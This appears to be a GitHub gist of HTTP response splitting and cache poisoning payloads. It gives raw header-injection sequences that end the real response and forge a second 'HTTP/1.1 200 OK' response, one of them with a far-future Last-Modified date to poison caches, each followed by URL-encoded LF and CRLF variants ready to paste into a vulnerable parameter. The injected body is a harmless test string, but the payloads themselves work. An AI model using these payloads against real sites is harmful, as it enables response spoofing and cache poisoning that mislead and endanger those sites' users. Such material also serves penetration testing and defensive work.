Skip to content

Instantly share code, notes, and snippets.

@khanjanny
Last active December 30, 2019 07:13
Show Gist options
  • Save khanjanny/7e4c891da016b878a3a9ebbd55e9b326 to your computer and use it in GitHub Desktop.
Save khanjanny/7e4c891da016b878a3a9ebbd55e9b326 to your computer and use it in GitHub Desktop.
HTTP Splitting
----------------------------------
en
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 28
<html>http Splitting test</html>
----------------------------------
EncodeURIComponent for Linux :
en%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2028%0A%3Chtml%3Ehttp%20Splitting%20test%3C%2Fhtml%3E
EncodeURIComponent for Windows :
en%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AContent-Length%3A%2028%0D%0A%3Chtml%3Ehttp%20Splitting%20test%3C%2Fhtml%3E
Cashe Poisoning :
----------------------------------
en
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Fri, 30 Apr 2099 11:11:18 GMT
Content-Length: 28
<html>http Cashe Poisoning test</html>
----------------------------------
EncodeURIComponent for Linux :
en%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0ALast-Modified%3A%20Fri%2C%2030%20Apr%202099%2011%3A11%3A18%20GMT%0AContent-Length%3A%2028%0A%3Chtml%3Ehttp%20Cashe%20Poisoning%20test%3C%2Fhtml%3E
EncodeURIComponent for Windows :
en%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Fri%2C%2030%20Apr%202099%2011%3A11%3A18%20GMT%0D%0AContent-Length%3A%2028%0D%0A%3Chtml%3Ehttp%20Cashe%20Poisoning%20test%3C%2Fhtml%3E
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment